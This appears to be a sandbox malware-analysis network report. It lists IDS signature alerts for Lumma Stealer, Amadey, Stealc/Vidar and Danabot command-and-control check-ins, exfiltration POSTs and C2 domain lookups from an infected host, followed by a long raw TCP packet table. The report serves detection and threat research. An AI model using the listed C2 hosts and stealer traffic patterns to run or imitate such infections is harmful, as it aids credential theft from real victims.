2025-01-12T17:39:58.745833+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50000	104.102.49.254	443	TCP
2025-01-12T17:39:59.617478+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	50000	104.102.49.254	443	TCP
2025-01-12T17:40:00.559433+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50001	104.21.14.233	443	TCP
2025-01-12T17:40:01.044318+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50001	104.21.14.233	443	TCP
2025-01-12T17:40:01.044318+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50001	104.21.14.233	443	TCP
2025-01-12T17:40:02.845658+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50003	185.215.113.43	80	TCP
2025-01-12T17:40:03.566222+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50006	185.215.113.16	80	TCP
2025-01-12T17:40:07.119292+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.7	50010	116.203.166.124	443	TCP
2025-01-12T17:40:07.185106+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50011	185.215.113.43	80	TCP
2025-01-12T17:40:07.925738+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50012	185.215.113.16	80	TCP
2025-01-12T17:40:10.156892+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.166.124	443	192.168.2.7	50015	TCP
2025-01-12T17:40:10.974043+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50017	185.215.113.43	80	TCP
2025-01-12T17:40:11.848156+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50018	185.215.113.16	80	TCP
2025-01-12T17:40:12.464710+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.7	50019	116.203.166.124	443	TCP
2025-01-12T17:40:12.464937+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.166.124	443	192.168.2.7	50019	TCP
2025-01-12T17:40:17.747371+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50023	185.215.113.43	80	TCP
2025-01-12T17:40:18.870311+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50024	185.215.113.16	80	TCP
2025-01-12T17:40:24.561090+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50045	185.215.113.43	80	TCP
2025-01-12T17:40:25.305765+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50047	31.41.244.11	80	TCP
2025-01-12T17:40:26.317643+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50049	172.67.161.160	443	TCP
2025-01-12T17:40:26.826459+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50049	172.67.161.160	443	TCP
2025-01-12T17:40:26.826459+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50049	172.67.161.160	443	TCP
2025-01-12T17:40:58.017155+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.7	50055	194.32.76.77	443	TCP
2025-01-12T17:40:59.195501+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.7	50054	TCP
2025-01-12T17:40:59.315783+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.7	50056	45.76.251.57	443	TCP
2025-01-12T17:40:59.419572+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50054	185.215.113.16	80	TCP
2025-01-12T17:41:00.640538+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.7	50058	194.32.76.77	443	TCP
2025-01-12T17:41:01.398601+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.7	50054	185.215.113.16	80	TCP
2025-01-12T17:41:01.887591+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50054	185.215.113.16	80	TCP
2025-01-12T17:41:01.965549+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.7	50059	45.76.251.57	443	TCP
2025-01-12T17:41:02.483626+0100	2058397	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)	1	192.168.2.7	54203	1.1.1.1	53	UDP
2025-01-12T17:41:02.501680+0100	2058616	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (nearycrepso .shop)	1	192.168.2.7	58663	1.1.1.1	53	UDP
2025-01-12T17:41:02.526866+0100	2058598	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (abruptyopsn .shop)	1	192.168.2.7	56691	1.1.1.1	53	UDP
2025-01-12T17:41:02.536635+0100	2058632	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wholersorie .shop)	1	192.168.2.7	56547	1.1.1.1	53	UDP
2025-01-12T17:41:02.547374+0100	2058610	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (framekgirus .shop)	1	192.168.2.7	64844	1.1.1.1	53	UDP
2025-01-12T17:41:02.559671+0100	2058628	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tirepublicerj .shop)	1	192.168.2.7	60067	1.1.1.1	53	UDP
2025-01-12T17:41:02.579516+0100	2058618	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (noisycuttej .shop)	1	192.168.2.7	52011	1.1.1.1	53	UDP
2025-01-12T17:41:02.589507+0100	2058622	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rabidcowse .shop)	1	192.168.2.7	56032	1.1.1.1	53	UDP
2025-01-12T17:41:02.600458+0100	2058606	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cloudewahsj .shop)	1	192.168.2.7	58914	1.1.1.1	53	UDP
2025-01-12T17:41:03.269657+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50061	104.102.49.254	443	TCP
2025-01-12T17:41:03.751068+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	50061	104.102.49.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 17:39:04.671046019 CET	49973	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:04.675878048 CET	80	49973	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:04.675972939 CET	49973	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:04.676095009 CET	49973	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:04.680886984 CET	80	49973	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:05.375618935 CET	80	49973	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:05.377521038 CET	49973	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:06.889254093 CET	49973	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:06.890022993 CET	49974	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:06.894248009 CET	80	49973	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:06.894294024 CET	49973	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:06.894766092 CET	80	49974	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:06.894819975 CET	49974	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:06.895071030 CET	49974	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:06.899791002 CET	80	49974	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:07.688071966 CET	80	49974	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:07.688101053 CET	80	49974	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:07.688142061 CET	49974	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:07.688174009 CET	49974	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:07.688250065 CET	80	49974	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:07.688265085 CET	80	49974	185.215.113.43	192.168.2.7
Jan 12, 2025 17:39:07.688287020 CET	49974	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:07.688303947 CET	49974	80	192.168.2.7	185.215.113.43
Jan 12, 2025 17:39:07.693006992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:07.697918892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:07.697988987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:07.698301077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:07.703083038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.384892941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.384908915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.384927988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.384939909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.384949923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.384968042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.384982109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.384991884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.385003090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.385011911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.385055065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.385073900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.389899969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.389911890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.389924049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.389935017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.390002966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.390002966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.390194893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.391164064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.508629084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.508646011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.508667946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.508686066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.508697987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.508806944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.508806944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.508827925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.508865118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.508876085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.508934975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.508935928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.508944035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.509435892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.509454012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.509466887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.509479046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.509491920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.509531021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.509531021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.509550095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.510056019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.510067940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.510078907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.510111094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.510114908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.510140896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.510152102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.510180950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.510180950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.510180950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.510251999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.510971069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.510981083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.511001110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.511010885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.511033058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.511064053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.511071920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.511071920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.511348009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.513576984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.513887882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.632296085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632308960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632314920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632332087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632334948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632345915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632417917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632427931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632468939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.632500887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.632580996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632590055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632738113 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.632740021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632750988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632761002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632770061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632801056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.632813931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.632934093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.632942915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633014917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633024931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633034945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633071899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633071899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633156061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633202076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633213043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633241892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633241892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633265972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633275986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633322954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633322954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633609056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633629084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633641005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633650064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633658886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633663893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633711100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633711100 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633879900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633897066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633908033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633953094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633965969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.633980036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.633990049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634000063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634042025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.634347916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634357929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634366989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634413004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.634413004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.634418011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634433031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634442091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634489059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.634489059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.634809971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634819984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634829998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634877920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.634896994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634908915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634917974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634934902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634944916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.634944916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.634944916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634963989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634974003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.634994030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.634994030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.635025978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.637309074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.637319088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.637327909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.637445927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.756227970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756266117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756278038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756298065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756309032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756320000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756330013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756340027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756354094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756364107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756407976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.756622076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.756834984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756870031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.756891966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757028103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757061958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757071972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757083893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757114887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757134914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757155895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757167101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757178068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757189035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757232904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757232904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757265091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757335901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757345915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757356882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757380962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757380962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757437944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757474899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757484913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757494926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757505894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757541895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757559061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757567883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757579088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757590055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757608891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757620096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757631063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757639885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757639885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757677078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757677078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757725954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757736921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757759094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757771015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757788897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757801056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.757812977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757812977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757852077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.757852077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758040905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758053064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758064032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758081913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758090019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758094072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758105993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758112907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758172989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758611917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758656025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758657932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758667946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758678913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758697033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758708954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758712053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758712053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758719921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758769989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758769989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758795977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758805990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758841038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758869886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758893967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758909941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758922100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:08.758949041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:08.758949041 CET	49975	80	192.168.2.7	31.41.244.11
